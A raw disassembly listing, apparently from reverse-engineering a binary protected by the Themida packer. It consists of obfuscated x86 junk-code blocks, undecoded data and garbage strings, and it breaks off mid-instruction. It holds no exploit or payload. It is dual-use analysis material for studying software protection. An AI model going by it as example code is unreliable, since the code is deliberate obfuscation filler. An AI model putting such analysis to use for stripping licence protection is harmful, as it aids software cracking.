loc_545A1B: ; CODE XREF: Themida_:005484B5j push dx mov dl, 87h sub cl, dl pop dx push small 42C1h mov [esp], dx mov dh, cl jmp loc_548143 ; --------------------------------------------------------------------------- aIrrsxs db '‰àRé•‘',0 align 2 dw 0C781h dd 519CC92Dh, 4F01EF83h, 0FFEC68E9h db 0FFh ; --------------------------------------------------------------------------- loc_545A49: ; CODE XREF: Themida_:0054B4FAj pop edx add edx, 4 push ebp mov ebp, 4 sub edx, ebp pop ebp xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_5461AE ; --------------------------------------------------------------------------- db 89h dd 0F868242Ch, 6800002Ah, 1A48h, 56242489h, 4BEh, 24740100h dd 8DAFE904h, 348B0000h, 0A190E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545A8E: ; CODE XREF: Themida_:005494D5j mov [esp], eax mov eax, 3010E17Ch xor esi, eax pop eax mov ebp, esi pop esi and ecx, ebp pop ebp jmp loc_54FA35 ; --------------------------------------------------------------------------- dd 122CAC04h, 81240C8Bh, 4C4h, 5D686600h, 1C896674h, 2C5DB724h dd 81F82898h, 4ECh, 240C8900h, 0DDF61CB5h, 3EE9CDFEh, 8900007Dh dd 4BF243Ch, 1000000h, 0D7E95FF8h, 80FFFFFCh, 0D6F601EEh dd 43E9E9h, 0CB015F00h, 0EC835759h, 24048904h, 0C46132B8h dd 5BBB5375h, 3141712Eh, 241C8BD8h, 4C481h, 0B250000h dd 0F74C6125h, 730BE9D0h, 8B660000h, 3F682404h, 8900002Eh dd 0E589242Ch, 22A0BB53h, 0E3D17E29h, 453CEB81h, 0DD01FC52h dd 6AC8685Bh, 2CE90000h, 31000080h, 0DDDAE9C2h, 3489FFFFh dd 0BEE95424h, 8100008Ch, 180BA7F2h, 0E2815950h, 0F351DF4h dd 0FFF9F3E9h db 0FFh ; --------------------------------------------------------------------------- loc_545B65: ; CODE XREF: Themida_:0054C628j push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], edx mov edx, 5E825ACEh push eax sub esp, 4 jmp loc_549FDD ; --------------------------------------------------------------------------- db 64h dd 2B60F66h, 0F2BE9h db 0 ; --------------------------------------------------------------------------- loc_545B8D: ; CODE XREF: Themida_:00546669j shr ebp, 2 and ebp, 29692819h shr ebp, 5 jmp loc_545DD3 ; --------------------------------------------------------------------------- dw 0EB83h dd 241C8704h, 857CE9h, 24043300h, 33240431h, 895C2404h dd 27BA2414h, 12A3D09h, 210EE9D0h, 0E5890000h, 4C581h dd 0C5810000h, 4, 5C242C87h, 5C240C87h, 0E99CC138h, 0FFFFDD44h ; --------------------------------------------------------------------------- loc_545BE0: ; CODE XREF: Themida_:005485B9j mov edi, [esp] add esp, 4 push edx mov edx, 18C93A34h xor edx, 20EA176Ch add edi, edx pop edx jmp loc_54D75E ; --------------------------------------------------------------------------- db 0F7h, 0F1h, 68h dd 60D4h, 272AE9h, 22136800h, 815B45D6h, 0AD5396C3h, 8471E949h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545C1A: ; CODE XREF: Themida_:00548D02j push 19E426AEh pop ebx add ebx, 1B5F291Bh jmp loc_5456EE ; --------------------------------------------------------------------------- loc_545C2B: ; CODE XREF: Themida_:0054A4D3j mov ebp, 4 sub ebx, ebp pop ebp push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_54F098 ; --------------------------------------------------------------------------- loc_545C41: ; CODE XREF: Themida_:0054CF07j dec ebx shl ebx, 3 xor ebx, 7D901A94h mov edi, ebx pop ebx sub esp, 4 mov [esp], edi mov edi, 307A60C6h mov ebp, edi mov edi, [esp] add esp, 4 xor ebp, edi pop edi mov edx, 0B8A6EB2Fh sub edx, 0CDC5CD6h push edi jmp loc_54E7FE ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 1379E958h, 14890000h, 10106824h, 4890000h, 32B55124h dd 0E830BAB0h, 0E9C68859h, 0FFFFEFE2h, 6F82EA81h, 815B6CA7h dd 0CD0D8EEAh, 81C22959h, 0CD0D8EC2h, 7784E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545CB2: ; CODE XREF: Themida_:00544351j mov esi, [esp] jmp loc_549A72 ; --------------------------------------------------------------------------- loc_545CBA: ; CODE XREF: Themida_:005444CEj mov edi, esp add edi, 4 jmp loc_54C651 ; --------------------------------------------------------------------------- db 5Ah dd 8C240481h, 0E9649F5Ch, 0D78h, 8904C483h, 24048BC7h dd 8901E9h db 0 ; --------------------------------------------------------------------------- loc_545CE1: ; CODE XREF: Themida_:00546063j mov eax, 0FA76D90Bh jmp loc_54E1DD ; --------------------------------------------------------------------------- align 4 aAAiFr db 'ÀÃ+€ëÚfR¶Î',0 dd 505A66F3h, 80CAB551h, 0EC88B8C5h, 5CECE959h, 0EB800000h dd 0FFD9E92Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545D12: ; CODE XREF: Themida_:00546495j not esi add esi, 5621DA0Ch add edx, esi pop esi sub edx, 225125B2h add edx, edi jmp loc_54A35A ; --------------------------------------------------------------------------- loc_545D2A: ; CODE XREF: Themida_:0054728Aj mov edx, 25667010h or edx, 7B8706F1h not edx push edx jmp loc_54427B ; --------------------------------------------------------------------------- loc_545D3D: ; CODE XREF: Themida_:0054A3CDj and ebx, 39992512h jmp loc_543A6C ; --------------------------------------------------------------------------- loc_545D48: ; CODE XREF: Themida_:0054C3A0j add eax, 5B288726h shl eax, cl jmp loc_54D7F4 ; --------------------------------------------------------------------------- dd 0D7E9415Ah, 81FFFFEBh, 4C2h, 4C28100h, 87000000h, 525C2414h dd 382EE9h, 3A880D00h, 0E948500Ah, 4A3Dh, 33242C31h, 248B242Ch dd 7C24E924h, 0E9810000h, 4F1B4704h, 4790E9h, 0C8015D00h dd 59FBE9h, 4C48100h, 0E9000000h, 2506h, 3C8B5B57h, 4C48124h dd 81000000h, 0A5042444h, 126043Ah, 5604245Ch, 43AA5BEh dd 24742926h, 1C8B5E08h, 0CDE95624h db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545DD3: ; CODE XREF: Themida_:00545B99j push ebp not dword ptr [esp] pop ebp jmp loc_54795F ; --------------------------------------------------------------------------- loc_545DDD: ; CODE XREF: Themida_:00548E8Bj ; Themida_:0054F683j sub esp, 4 mov [esp], edi push esp pop edi add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_549994 ; --------------------------------------------------------------------------- loc_545DFC: ; CODE XREF: Themida_:0054DD26j sub eax, 5CC1176h jmp loc_54A679 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 4C181h, 0C870000h, 0D4305C24h, 8124148Bh, 4C4h, 66E30000h dd 0E924048Bh, 8FACh, 0DD00F3B3h, 0C48E9h, 4B85000h, 0E9000000h dd 69B3h ; --------------------------------------------------------------------------- loc_545E40: ; CODE XREF: Themida_:005497F1j add edx, esi jmp loc_54B78C ; --------------------------------------------------------------------------- db 31h dd 0E8E9243Ch, 5A00001Dh, 4EC81h, 1C890000h, 498DE924h dd 0B8500000h, 45CB7B38h, 659C381h, 0C3017046h, 659EB81h dd 81587046h, 4A76CFC3h, 13C3810Dh, 29117872h, 13EB81C3h dd 0E9117872h, 77Eh, 240C8B66h, 4EC81h, 2C890000h, 0EF24E924h dd 4B66FFFFh, 7BAAE951h, 81660000h, 593BE0EDh, 66EB2166h dd 81242C8Bh, 2C4h, 0F3816600h, 1665FE4h, 0EC815BD8h, 2 dd 73B2E9h db 0 ; --------------------------------------------------------------------------- loc_545ECD: ; CODE XREF: Themida_:0054D774j mov [esp], eax sub esp, 4 jmp loc_54EB22 ; --------------------------------------------------------------------------- db 81h dd 42404h, 34FF0000h, 89575A24h, 4BB53E7h, 1000000h, 68E95BDFh db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545EF7: ; CODE XREF: Themida_:00549A29j push 5B62h mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp mov [esp], ebx push ebx mov ebx, 77C40195h sub [esp+4], ebx pop ebx mov eax, [esp] jmp loc_5492B6 ; --------------------------------------------------------------------------- dw 0E0BDh dd 0C1264E7Fh, 0DDF703EDh, 7930E9h db 0 ; --------------------------------------------------------------------------- loc_545F2D: ; CODE XREF: Themida_:0054C481j pop edx mov ebp, esi pop esi add ecx, ebp pop ebp add ecx, 4 xchg ecx, [esp] jmp loc_54C6D6 ; --------------------------------------------------------------------------- dw 0E956h dd 815h, 5358C301h, 42474FFh, 24048F5Bh, 6624248Bh, 6866E9F7h dd 89660E68h, 50662414h, 0D9BAE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545F6A: ; CODE XREF: Themida_:0054B1ABj add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp and ecx, edx pop edx shr ecx, 2 push edi mov edi, esp add edi, 4 jmp loc_54C456 ; --------------------------------------------------------------------------- db 81h, 0C3h, 38h dd 812B3A35h, 0CE4C49EBh, 0BF575F0Bh, 0A9F5FBAh, 4BA8EB81h dd 0FB295D9Ch, 4BA8C381h, 0E95F5D9Ch, 0FFFFFB8Bh ; --------------------------------------------------------------------------- loc_545FB8: ; CODE XREF: Themida_:0054ED8Bj pop ecx push edi jmp loc_54CADE ; --------------------------------------------------------------------------- db 81h dd 4ECh, 240C8900h, 3A1BA7B9h, 6597E926h, 814A0000h, 0B7CFFAF2h dd 5AD73123h, 22FCF781h, 0FA315F2Fh, 5AD1895Fh, 710BE9h dd 0FC686600h, 0C896674h, 0B60F6624h, 9C5166C8h, 0FFD923E9h dd 4C681FFh, 81000000h, 4C6h, 24343300h, 9409E9h, 0BCE98000h dd 0DBC18058h, 0FFDD65E9h, 2434FFFFh, 1FE5E9h db 0 ; --------------------------------------------------------------------------- loc_546029: ; CODE XREF: Themida_:0054C9A2j add edx, 45AF13BFh add edx, 0BA50EBC4h add ebp, edx pop edx xchg ebp, [esp] pop esp xor ecx, ebp mov ebp, [esp] jmp loc_547C9C ; --------------------------------------------------------------------------- loc_546046: ; CODE XREF: Themida_:00546B8Dj ; Themida_:0054CEF8j ... push edx push edi push 55321DB3h pop edi push 69DBh mov [esp], esi mov esi, 55A623C6h inc esi xor esi, 0E9A732Fh push eax jmp loc_545CE1 ; --------------------------------------------------------------------------- loc_546068: ; CODE XREF: Themida_:0054D3B4j push dword ptr [esp] mov eax, [esp] push edi jmp loc_54E22D ; --------------------------------------------------------------------------- dd 81CBEB80h, 2ECh, 0C896600h, 801BB524h, 0EB2804EBh, 6604C380h dd 0C0B60F59h, 0FF8734FFh, 57582434h, 3685F54h, 89000020h dd 0CCE92404h, 100002Dh, 7348E9D8h, 15A0000h, 1AE951C6h dd 5700004Bh, 0C781E789h, 4, 5DC6E9h, 0E6815900h, 75847D57h dd 6C26F681h, 0E6814668h, 4FB32C11h, 4C6EE9h, 3C77FF00h dd 1515B951h, 0EFE90D64h, 5B000097h, 0FFF8B1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5460F1: ; CODE XREF: Themida_:0054F9A2j mov ecx, 2A1F0779h shl ecx, 2 sub ecx, 6234717Fh jmp loc_54CD03 ; --------------------------------------------------------------------------- dd 5B21C581h, 875B149Fh, 248B242Ch, 2434FF24h, 0E924048Bh dd 3962h ; --------------------------------------------------------------------------- loc_54611C: ; CODE XREF: Themida_:0054FC9Ej shr edi, 7 sub edi, 286161CBh xor edi, 0B97CA0F5h xor esi, edi pop edi jmp loc_54EFE5 ; --------------------------------------------------------------------------- loc_546133: ; CODE XREF: Themida_:0054A935j pop ebp jmp loc_549AE5 ; --------------------------------------------------------------------------- db 0E9h, 0E6h, 0D7h dd 0F581FFFFh, 0E12F2FCEh, 85E9EA29h, 80000037h, 0D30012C3h dd 8B12EB80h, 0C4832414h, 80EB2804h, 3CE928EBh, 8B000046h dd 7BE92424h, 6600004Eh, 68240C8Bh, 5E87h, 54241C89h, 7387E9h db 0 ; --------------------------------------------------------------------------- loc_54617D: ; CODE XREF: Themida_:00546660j add al, dh mov dx, [esp] jmp loc_54DF97 ; --------------------------------------------------------------------------- loc_546188: ; CODE XREF: Themida_:0054B305j add ebp, 4 push eax jmp loc_54407B ; --------------------------------------------------------------------------- loc_546194: ; CODE XREF: Themida_:00546DAAj xchg ecx, [esp] pop esp push 7DF7h jmp loc_5472A2 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835B24h, 61BDE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5461AE: ; CODE XREF: Themida_:00545A62j pop esp mov [esp], edi push 164Fh mov [esp], ebp jmp loc_54F245 ; --------------------------------------------------------------------------- db 50h dd 639A6857h, 0C15F3DCDh, 7AE906E7h, 81FFFFEBh, 4E9h, 240C8700h dd 2404895Ch, 0FFE6D6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5461E1: ; CODE XREF: Themida_:0054E830j add eax, edi jmp loc_54F0A3 ; --------------------------------------------------------------------------- dd 8304E800h, 8B2434FFh, 0C481240Ch, 4, 0FFD83BE9h, 243C8BFFh dd 5004C483h, 42474FFh, 8324048Bh, 13E904C4h, 57FFFFEBh dd 4BFh, 0E9FB2900h, 8184h ; --------------------------------------------------------------------------- loc_546220: ; CODE XREF: Themida_:0054DDE8j xor eax, ecx jmp loc_54C5F2 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 24048F00h, 2124248Bh, 0E99C2404h, 0FFFFD6E8h dd 0E020E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546242: ; CODE XREF: Themida_:00544287j pop edi or esi, edx mov edx, [esp] add esp, 4 push ebp jmp loc_54B0B3 ; --------------------------------------------------------------------------- db 68h, 2 dup(3Ah) dd 3C890000h, 2474FF24h, 48F5F04h, 17E95C24h, 55FFFFFAh dd 0FE243481h, 59137429h, 29FEF181h, 49E91374h, 5500004Eh dd 2407E9h db 0 ; --------------------------------------------------------------------------- loc_546281: ; CODE XREF: Themida_:0054E37Dj push 78943538h mov ebp, [esp] add esp, 4 inc ebp shl ebp, 4 xor ebp, 0E74E76E8h mov ebx, ebp pop ebp jmp loc_544996 ; --------------------------------------------------------------------------- dw 0C201h dd 5324048Bh, 7AE95B54h, 89000061h, 74FF2404h, 48B0424h dd 278DE924h, 3C310000h, 243C3324h, 8424248Bh, 0D9E99CC8h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5462CB: ; CODE XREF: Themida_:00547035j sub esp, 4 mov [esp], ebp push ecx mov ecx, 69DC3B82h sub [esp+4], ecx pop ecx pop ebx add ebx, 69DC3B82h jmp loc_547611 ; --------------------------------------------------------------------------- dd 72722D58h, 0F8295192h, 92727205h, 2616E951h, 48F0000h dd 29665C24h, 0E99C2404h, 0FFFFD61Ch ; --------------------------------------------------------------------------- loc_546308: ; CODE XREF: Themida_:0054BA16j add eax, 31B80B48h pop edx add eax, ebx jmp loc_54BBF8 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 421AE924h, 248B0000h, 48B6624h, 18536824h, 74E90000h dd 0BB00006Bh, 3A735C54h, 295BD989h, 240C8BC8h, 81E38953h dd 4C3h, 92EAE900h, 0F9B80000h, 35465768h, 65EF75DBh, 3E8C140h dd 7CE9D0F7h, 89000090h, 0E389241Ch, 4C381h, 0EB810000h dd 4, 5C241C87h, 2245E9h, 41E95C00h, 1FFFFE9h, 0FF62E9C7h dd 15EFFFFh, 1BE95FFAh db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54638F: ; CODE XREF: Themida_:0054C4C5j mov [esp], ebp push esp pop ebp push eax mov eax, 4 add ebp, eax mov eax, [esp] add esp, 4 push eax mov eax, 4 add ebp, eax pop eax xchg ebp, [esp] jmp loc_54753F ; --------------------------------------------------------------------------- db 5Ch dd 2782CF81h, 0E7C14E0Fh, 95E95206h, 100007Bh, 240C8BCBh dd 81E78957h, 4C7h, 4C78300h, 0E9243C87h, 2CEDh ; --------------------------------------------------------------------------- loc_5463DC: ; CODE XREF: Themida_:00545858j add ch, 0BFh inc ch xor ch, 0B0h xor ch, 0BDh xor ch, 0C1h shl ch, 6 push 0 jmp loc_54CAB5 ; --------------------------------------------------------------------------- db 81h dd 5FD81FE9h, 0FFC1E930h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546402: ; CODE XREF: Themida_:0054AADDj or eax, 3CB14DA9h push ecx mov ecx, 3F0E0EB6h and eax, ecx pop ecx shr eax, 7 add eax, 0C6FB89CBh sub esi, eax pop eax jmp loc_546DE2 ; --------------------------------------------------------------------------- aFbfbCf1Su db 'fBfê^çf1Óéî[',0 dw 5300h dd 25596857h, 815F2335h, 0B4BAEC7h, 0FFEF8332h, 4619E952h dd 7FBF0000h, 81232B05h, 7D3BEDCFh, 250BE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546456: ; CODE XREF: Themida_:0054C14Ej add ebp, eax add ebp, 555F4857h push dword ptr [esp] jmp loc_54962D ; --------------------------------------------------------------------------- loc_546466: ; CODE XREF: Themida_:005490E7j mov esp, [esp] push edx mov edx, 153B25EFh xor eax, edx pop edx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_54AB2B ; --------------------------------------------------------------------------- loc_546486: ; CODE XREF: Themida_:00544B9Dj dec esi push ebp push ecx push 355A7D1Ah jmp loc_54507D ; --------------------------------------------------------------------------- loc_546493: ; CODE XREF: Themida_:0054C07Cj neg esi jmp loc_545D12 ; --------------------------------------------------------------------------- aStx db '°ºétX',0 dd 0E9CB0100h, 66D7h ; --------------------------------------------------------------------------- loc_5464A8: ; CODE XREF: Themida_:005488BEj mov ebp, ecx pop ecx add ebp, 6ABD157Eh jmp loc_54EF90 ; --------------------------------------------------------------------------- dw 0C481h dd 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_547B2C ; --------------------------------------------------------------------------- dw 0C581h dd 1E784624h, 7C83ED81h, 0F5011EAFh, 7C83C581h, 0E9E91EAFh dd 0BE000097h, 77FB0945h, 76BAC681h, 0C6813BEFh, 4C158003h dd 4E85C381h, 0F30119EDh, 8904EC83h, 21B9240Ch, 812E057Ch dd 0E832A4F1h, 59CB2937h, 8124348Bh, 4C4h, 74FF5300h, 8F5B0424h dd 248B2404h, 40F1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54652A: ; CODE XREF: Themida_:0054C3B9j pop edx push ebp mov ebp, 4 add edx, ebp pop ebp jmp loc_54D571 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0FFE411E9h, 68FFh, 14290000h, 0EA815A24h, 0E7D9BADCh dd 0FFE95952h, 66000042h, 56240C8Bh, 7F685E54h, 89000035h dd 4682414h, 5A000000h, 3685552h, 5D070A62h, 3797E9h, 0EAEF8100h dd 8B6F443Ah, 0C4812414h, 4, 0BA52C701h, 1B7E488Ch, 1A5CEA81h dd 0F2817992h, 9D3235D9h, 585AD701h, 0FFF890E9h, 0B8C281FFh dd 0E96DA838h, 4A4Eh, 1C8BDD01h, 4C48124h, 1000000h, 0F8055DE8h dd 8B7A7703h, 0DE92414h, 8B000057h, 0EC81240Ch, 4, 89243C89h dd 4C781E7h, 0E9000000h, 5CA6h, 5394768h, 1809E900h, 8B660000h dd 0B7E9240Ch db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5465F7: ; CODE XREF: Themida_:00543F78j push esi mov esi, 75476F7h jmp loc_546F6A ; --------------------------------------------------------------------------- aISb db '‰$$éb/',0 align 2 dw 5650h dd 0EA1E9368h, 3670E915h, 4830000h, 815A0424h, 4C2h, 4EC8100h dd 89000000h, 4FE92404h, 55000078h, 28538068h, 242C8B4Eh dd 4C481h, 0CD810000h, 62A77B02h, 2A02F581h, 8155326Fh dd 32B8242Ch, 81597099h, 9932B8C1h, 0F737E970h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54665E: ; CODE XREF: Themida_:0054D5B5j mov dh, 69h jmp loc_54617D ; --------------------------------------------------------------------------- loc_546665: ; CODE XREF: Themida_:0054E118j pop eax shl ebp, 8 jmp loc_545B8D ; --------------------------------------------------------------------------- dw 74FFh dd 20E90424h, 0F7000014h, 7EC581DDh, 2120622Eh, 0F7495DE9h dd 0DCBA52D1h, 0E96D54FBh, 70F9h, 3009BB53h, 0C38144E7h dd 0BB33251h, 0C15BDF31h, 0DFF706E7h, 2972BB53h, 0F3817C42h dd 19F042E0h, 1C8BDF01h, 4C48324h, 7FA868h, 24148900h dd 696B52BAh, 5AD73140h, 12E9F989h, 5E00007Dh, 8324048Fh dd 59042404h, 4C181h, 0BE560000h, 2, 875EF101h, 665C240Ch dd 0E7E9F9F7h, 81FFFFE3h, 0FD38C9C1h, 81E90135h, 0FD38C9E9h dd 0F7C18135h, 5D141242h, 6130E9h db 0 ; --------------------------------------------------------------------------- loc_54670D: ; CODE XREF: Themida_:0054895Cj mov ebx, 5B6931BFh xor ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_543924 ; --------------------------------------------------------------------------- dw 0E2C1h dd 7EAC107h, 0FA13EA81h, 0D13146ADh, 59CA295Ah, 3D3FEA81h dd 0E9583A1Ch, 0FFFFD1E4h, 71F7815Fh, 896C484Bh, 0F39FE9F9h dd 4968FFFFh, 8900007Eh, 0E189240Ch, 40CAE9h, 5693BE00h dd 0EEC1547Dh, 4EF68108h, 292DD22Bh, 0C1015EF1h, 5618C181h dd 2D582D86h, 30426197h, 9705C829h, 0FF304261h, 83592434h dd 26804C4h, 89000051h, 0BABA2414h, 0E90A9F5Fh, 268Eh ; --------------------------------------------------------------------------- loc_54679C: ; CODE XREF: Themida_:0054BF54j push eax mov eax, 0 add eax, ebx add dword ptr [eax], 1 mov eax, [esp] jmp loc_54C9D3 ; --------------------------------------------------------------------------- dw 248Bh dd 1336E924h, 815D0000h, 4C5h, 4EC8100h, 89000000h, 4B82404h dd 0E9000000h, 260Fh ; --------------------------------------------------------------------------- loc_5467D4: ; CODE XREF: Themida_:00544A93j push edi pop ebx mov ebp, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 pop edi add edi, ebp mov ebp, [esp] add esp, 4 mov ecx, edi pop edi and ebx, ecx mov ecx, [esp] add esp, 4 or ebx, ebx jnz loc_5470DD push edx add dword ptr [esp], 452A31ABh pop dword ptr [edi+20h] push 1C0Dh mov [esp], ebx push ebp push ecx mov ecx, 34FF4E65h jmp loc_54701A ; --------------------------------------------------------------------------- db 0BBh dd 4, 875BDF01h, 248B243Ch, 0C8B60F24h, 32A968h, 240C8900h dd 0FFD0DBE9h, 4C483FFh, 535E5456h, 0C381E389h, 4, 23DABF57h dd 0D7F7300Ch, 4E4DF781h, 0F7810403h, 0CBF0926Ch, 875FFB29h dd 895C241Ch, 0FFBF243Ch, 81662335h, 0B31828CFh, 6FE78102h dd 0F710DE01h, 81D7F7DFh, 92016AF7h, 6FC68100h, 15B940Ch dd 0DCA4E9FEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54689E: ; CODE XREF: Themida_:00547FC3j add [ebx], eax pop ebx pop ecx push dword ptr [esp] push dword ptr [esp] mov eax, [esp] push ebp mov ebp, esp jmp loc_549FA8 ; --------------------------------------------------------------------------- loc_5468B3: ; CODE XREF: Themida_:0054E086j push 14BC4B0Ch pop edx push ebx mov ebx, 31B80B48h sub eax, ebx pop ebx jmp loc_54BA14 ; --------------------------------------------------------------------------- db 0F7h dd 242C87D5h, 81242C8Bh, 4C4h, 56554D00h, 8769E9h, 91C28100h dd 291C6749h, 22685AD3h, 8900006Bh, 74FF241Ch, 1C8B0424h dd 1D42E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5468FA: ; CODE XREF: Themida_:00548D59j dec ah xor ah, 1Ah or ah, 60h push 29D8h mov [esp], ebx mov bh, 97h inc bh shl bh, 3 jmp loc_54D303 ; --------------------------------------------------------------------------- dw 0C868h dd 89000028h, 0B966240Ch, 81661A08h, 665700C1h, 64BA6652h dd 0D1016663h, 81665A66h, 662D08F1h, 15E3C981h, 3B48E9h dd 8BD10100h, 0C4832414h, 0E966E904h, 0C381FFFFh, 52FE7891h dd 0FFDE15E9h, 240489FFh, 0FFF9E9E9h, 241C89FFh, 42474FFh dd 24048F5Bh, 8BC8E9h, 8BEE8100h, 5F169D59h, 25A86857h dd 53E90000h, 59000002h, 2E14EB81h, 0D3011086h, 2E14C381h dd 0FAE91086h, 0FFFFD1h, 0E95866E5h, 0FFFFEFC1h, 4BD55h dd 0EF290000h, 0F8A3E95Dh, 0C888FFFFh, 0BE959h, 0C6810000h dd 4, 7458E9h, 88D0F600h, 0EA8058C2h, 52DAF626h, 5A2414F6h dd 28C9B050h, 61E958C2h, 28FFFFD8h, 0EB8058C5h, 17FE9ACh dd 8B660000h, 0E950240Ch, 7C3Ah ; --------------------------------------------------------------------------- loc_5469F0: ; CODE XREF: Themida_:0054D6A3j push ecx mov ecx, 4E5B1BEBh xor ebx, ecx pop ecx mov edi, ebx pop ebx add ebx, edi mov edi, [esp] push eax mov eax, esp add eax, 4 jmp loc_548C90 ; --------------------------------------------------------------------------- aWCnJvM db 'W¿CN°jV¾M',0 dd 0B4E905DBh, 0BAFFFFDDh, 0CDA599Dh, 0B473CC68h, 64F3E94Ah dd 0FA680000h, 59154542h, 1095E9h, 0AB0F6600h, 0E99C2404h dd 0FFFFCEE0h, 0E956E189h, 0FFFFECC5h, 1A685550h, 5D059A25h dd 1BF57h, 0FD090216h, 0C2F5815Fh, 8930A94Ah, 4A1DE9E8h dd 0E1C10000h, 79E95202h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546A73: ; CODE XREF: Themida_:0054AEA8j pop esp add esp, 4 push edi jmp loc_54786F ; --------------------------------------------------------------------------- db 5Bh, 0, 0E8h aYLhtd db 'Y(Ø,«hTD',0 align 2 dw 0C89h aSsu db '$Séî[',0 dw 0F700h dd 0C1D2F7D2h, 0EA8102EAh, 9E1AB1C3h, 8E9CE9h db 0 ; --------------------------------------------------------------------------- loc_546AA5: ; CODE XREF: Themida_:00548B7Fj push eax jmp loc_54404E ; --------------------------------------------------------------------------- loc_546AAB: ; CODE XREF: Themida_:0054783Aj push esi jmp loc_546D88 ; --------------------------------------------------------------------------- loc_546AB1: ; CODE XREF: Themida_:00544575j add ebx, ebp jmp loc_54D498 ; --------------------------------------------------------------------------- dd 1C576866h, 2C8FE9h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebp jmp loc_54BEBA ; --------------------------------------------------------------------------- loc_546ADA: ; CODE XREF: Themida_:0054C527j push edi mov edi, 12541D9Bh not edi jmp loc_54E5A7 ; --------------------------------------------------------------------------- loc_546AE7: ; CODE XREF: Themida_:0054A582j push ebx sub esp, 4 mov [esp], ebp mov ebp, 1EC8014Dh mov ebx, ebp pop ebp or ebx, 60C4327Bh jmp loc_54A1F8 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 1FC3E9h, 5EC28100h, 0E9063811h, 6EE7h, 2C281h, 0C3E90000h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_546B1F: ; CODE XREF: Themida_:0054F290j mov [esp], ecx jmp loc_543FFF ; --------------------------------------------------------------------------- loc_546B27: ; CODE XREF: Themida_:0054D7F9j mov [esp], edx push esi mov esi, 111A5DB6h mov edx, esi pop esi push ebx mov ebx, 126F415Ch jmp loc_544526 ; --------------------------------------------------------------------------- loc_546B3E: ; CODE XREF: Themida_:0054B8EDj and eax, ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_544F41 ; --------------------------------------------------------------------------- loc_546B4C: ; CODE XREF: Themida_:0054BACCj sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], ebx mov eax, [esp] push eax jmp loc_54E285 ; --------------------------------------------------------------------------- aIaMs4q db '(ë€Ã¬é4q',0 dw 0BB00h dd 1DEC65A3h, 71AF6852h, 6FE93DBAh db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546B7F: ; CODE XREF: Themida_:0054F9D1j add eax, 4 xchg eax, [esp] pop esp add esp, 4 or eax, eax jz loc_546046 push dword ptr [edi+28h] push 3427h mov [esp], esi mov esi, 48EE366Dh jmp loc_54A72B ; --------------------------------------------------------------------------- dd 0C1FE1DB1h, 0C180C9FEh, 59CB2833h, 0FDE9DD88h, 5D000022h dd 6AE6E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_546BC2: ; CODE XREF: Themida_:0054BC3Dj shl edi, 2 shl edi, 6 shl edi, 6 add edi, 0BBFA0004h jmp loc_54D982 ; --------------------------------------------------------------------------- aIUsip db '‰$$UéI',0 dw 6600h dd 0E9240489h, 0FFFFCD3Ch, 0ADE9CA29h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546BEF: ; CODE XREF: Themida_:00549C09j push dx mov dl, 3Dh sub ch, dl pop dx sub bl, ch pop ecx sub bl, 96h add bl, 0DDh movzx eax, al push dword ptr [edi+eax*4] jmp loc_543924 ; --------------------------------------------------------------------------- db 5Dh dd 2C381h, 0FF530000h, 8B042474h, 8957241Ch, 4C781E7h dd 81000000h, 4C7h, 0D0DEE900h, 0C33FFFFh, 240C3124h, 8B240C33h dd 1C892424h, 46ABBB24h, 0CCE90A46h, 4EFFFFE2h, 0F681D6F7h dd 7C1B6B41h, 3C16EE81h, 0F30130EAh, 84D9E9h, 68E38900h dd 57B6h, 0E9243489h, 24EDh, 5C240487h, 8B2434FFh, 0CEE9240Ch dd 81FFFFFBh, 0BB3BE5C3h, 49E95D6Bh db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546C87: ; CODE XREF: Themida_:00548DACj add ebp, 4 push edx mov edx, 4BFE7C13h not edx and edx, 